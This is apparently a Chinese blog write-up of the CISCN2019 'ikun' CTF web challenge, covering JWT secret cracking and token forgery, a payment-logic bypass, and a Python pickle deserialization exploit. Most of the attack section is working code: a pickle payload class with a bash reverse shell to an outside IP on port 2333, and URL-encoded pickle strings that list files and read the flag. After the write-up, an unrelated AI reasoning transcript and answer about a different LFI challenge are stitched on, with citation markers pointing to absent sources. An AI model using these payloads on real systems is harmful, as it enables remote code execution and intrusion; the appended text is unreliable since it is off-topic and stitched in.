[BUU/Pickle/JWT] [CISCN2019 华北赛区 Day1 Web2]ikun

本文揭秘了一次针对华北赛区CISCN2019 Day1 Web2比赛中的安全漏洞,涉及业务逻辑漏洞、JWT身份验证、Pickle反序列化攻击和Admin权限滥用。通过爆破JWT、构造伪造请求及利用后端源码中的安全漏洞,展示了狂热ikun如何利用这些技巧获取敏感信息。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

[CISCN2019 华北赛区 Day1 Web2]ikun

能做出这道题的,一定是狂热ikun吧(滑稽

业务逻辑漏洞

import requests

url = "http://ed0b4ae6-27c4-46f2-9281-8b0b0335be34.node4.buuoj.cn:81/shop?page="

for i in range(200):
    if "lv6.png" in requests.get(url+str(i)).text:
        print(i)

运行结果181

注册、登录、购买LV6,在购物车结算处抓包,

请添加图片描述

经测试,此处存在明显的逻辑漏洞,后端逻辑对前端数据有依赖关系,且可以注意到使用了JWT

且修改discount时(price不行)可以绕过支付逻辑,

相应302,跳转到/b1g_m4mber

直接访问该子目录,存在权限限制,要求为 admin权限,

JWT弱加密

本题中,抓包可以看到使用了JWT,猜测后端采用JWT方法进行身份验证,尝试使用JWT爆破脚本c-jwt-cracker-master爆破,

docker run -it --rm  jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFzZCJ9.BObCLjOjhd5VP8Ji2nhYaqzp01yT6KhkzQA2oY8FirA

请添加图片描述

关于Docker安装和配置,可查看本人其他博客[环境搭建/Docker]sqli-labs环境搭建/虚拟机部署Docker应用/同局域网可访问的Docker环境搭建

使用爆破得到的密码,在https://jwt.io/,构造伪造的JWT字符串,

请添加图片描述

使用构造的JWT,将数据包内的JWT替换(也可以将前端存储中Cookies表项JWT修改为伪造JWT,一劳永逸),

请添加图片描述

发包得到响应,

请添加图片描述

得知后台存在源码,

Pickle反序列化

下载源码,

在Admin.py中发现become处,存在可利用的反序列化点

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
	@tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            # 执行结果作为参数渲染到模板,有回显
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

且可以知道,Admin.py的路由绑定到了b1g_m4mber

请添加图片描述

构造序列化字符串

import base64
import pickle
import urllib
import os


class Evil(object):
    def __reduce__(self):
        # 无法利用回显
        # os.system无法回显执行结果,只回显命令执行结果
        # os.popen无返回值
        # 可通过模板渲染回显
        # 可以利用eval和read()函数读文件: (eval, ("open('/flag.txt','r').read()",))
        # commands.getoutput有回显,可以使用
        return (os.system, ("bash -c 'bash -i >& /dev/tcp/121.36.96.230/2333 0>&1'",))


evil = Evil()
print(urllib.quote(pickle.dumps(evil)))

输出如下,

# (commands.getoutput, ("ls /",))
ccommands%0Agetoutput%0Ap0%0A%28S%27ls%20/%27%0Ap1%0Atp2%0ARp3%0A.
# (commands.getoutput, ("cat /flag.txt",))
ccommands%0Agetoutput%0Ap0%0A%28S%27cat%20/flag.txt%27%0Ap1%0Atp2%0ARp3%0A.

# 或者
# (eval, ("open('/flag.txt','r').read()",))

# 或者,然而,本题环境并没有bash
# (commands.getoutput, ("bash -c 'bash -i >& /dev/tcp/121.36.96.230/2333 0>&1'",))
# ccommands%0Agetoutput%0Ap0%0A%28S%22bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/121.36.96.230/2333%200%3E%261%27%22%0Ap1%0Atp2%0ARp3%0A.

对反序列化点进行利用

请添加图片描述

对该按钮的包进行捕获(_xsrf是动态的),

使JWT与Payload的值为我们上面构造的那些即可,

请添加图片描述

请添加图片描述

<think>好的,我现在需要处理用户关于BUU LFI COURSE 1的问题。首先,用户希望找到与该课程相关的资料或内容,特别是第一单元的内容。根据提供的引用信息,我需要整理已有的信息并生成相关的解答和相关问题。 首先,我需要回顾所有相关的引用。引用[2]、[3]、[4]、[5]都涉及BUU LFI COURSE 1的内容。根据这些引用,可以总结出该课程主要涉及PHP文件包含漏洞的利用。用户提到的Level 1 Unit 1可能指的是这个课程的第一个挑战或实验,其中涉及通过文件包含漏洞获取flag。 接下来,我需要确保回答符合用户的要求,即结构清晰、步骤详细,并且引用正确的资料。根据引用[2],题目开局给出源代码,存在文件包含漏洞,通过传递file参数来包含文件。引用[3]和[5]提到这是一个PHP文件,代码简单,存在文件包含漏洞,需要利用路径遍历来访问上级目录中的flag文件。引用[4]和[5]指出需要退到根目录,可能需要多次使用../来访问flag,比如三次或四次。 在回答中,我需要分步骤说明如何解决这个问题,包括漏洞分析、利用方法、路径遍历的具体操作以及最终的payload示例。同时,需要确保引用正确,每个引用在适当的位置标注。例如,在提到路径遍历时,引用[2]和[5]都提到了使用../,所以需要注明这些来源。 另外,用户可能希望了解相关的扩展知识,例如防御文件包含漏洞的方法,或者该漏洞的实际应用场景,所以生成的相关问题应该覆盖这些方面。例如,如何防御文件包含漏洞,或者文件包含漏洞的其他利用方式。 最后,需要检查所有LaTeX格式是否正确,行内公式用$...$,独立公式用$$...$$,但根据当前问题内容,可能不需要数学公式,所以这部分可能不需要处理。但如果有变量或路径表达式,需要正确使用格式。例如,路径中的../可能需要使用代码块或引号,但根据示例,代码块应使用反引号包裹。 总结回答的结构应该是: 1. 漏洞背景和题目描述 2. 漏洞分析步骤 3. 利用方法的具体步骤 4. 最终Payload示例 5. 引用标注 6. 相关问题生成 现在需要将这些整理成自然的中文回答,确保引用正确,结构清晰,并且符合用户的要求。</think>### BUU LFI COURSE 1 第一单元内容解析 #### 1. 漏洞背景与题目描述 该课程实验聚焦于**PHP文件包含漏洞**的利用。题目初始界面给出PHP源代码,要求通过传递参数`file`触发文件包含漏洞,最终获取隐藏的flag[^3][^5]。 #### 2. 漏洞分析步骤 1. **代码审计** 题目PHP代码结构简单,核心逻辑如下: ```php <?php if(isset($_GET['file'])){ include $_GET['file']; } ``` 此处未对用户输入的`file`参数进行过滤,导致可加载任意文件(包括远程文件或路径遍历)[^3][^4]。 2. **错误信息利用** 直接访问`?file=flag`会报错,提示文件不存在,说明flag不在当前目录,需通过路径遍历向上级目录查找[^2]。 #### 3. 漏洞利用方法 1. **路径遍历攻击** 使用`../`回退到根目录,尝试加载`flag`文件: ```url http://靶场URL/?file=../../../flag ``` 根据实际环境,可能需要调整`../`的数量(如3-4次)才能定位到根目录[^5]。 2. **最终Payload示例** 成功获取flag的请求如下: ```url http://b6ed0fd6.../?file=../../../flag ``` 返回结果包含flag:`flag{59132e77-fb4e-455f-b7e7-21ea02be8bd8}`。 #### 4. 关键知识点总结 - **文件包含漏洞类型**:本地文件包含(LFI)与远程文件包含(RFI)。 - **防御方法**:对输入参数进行白名单校验,或使用`basename()`函数过滤路径。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值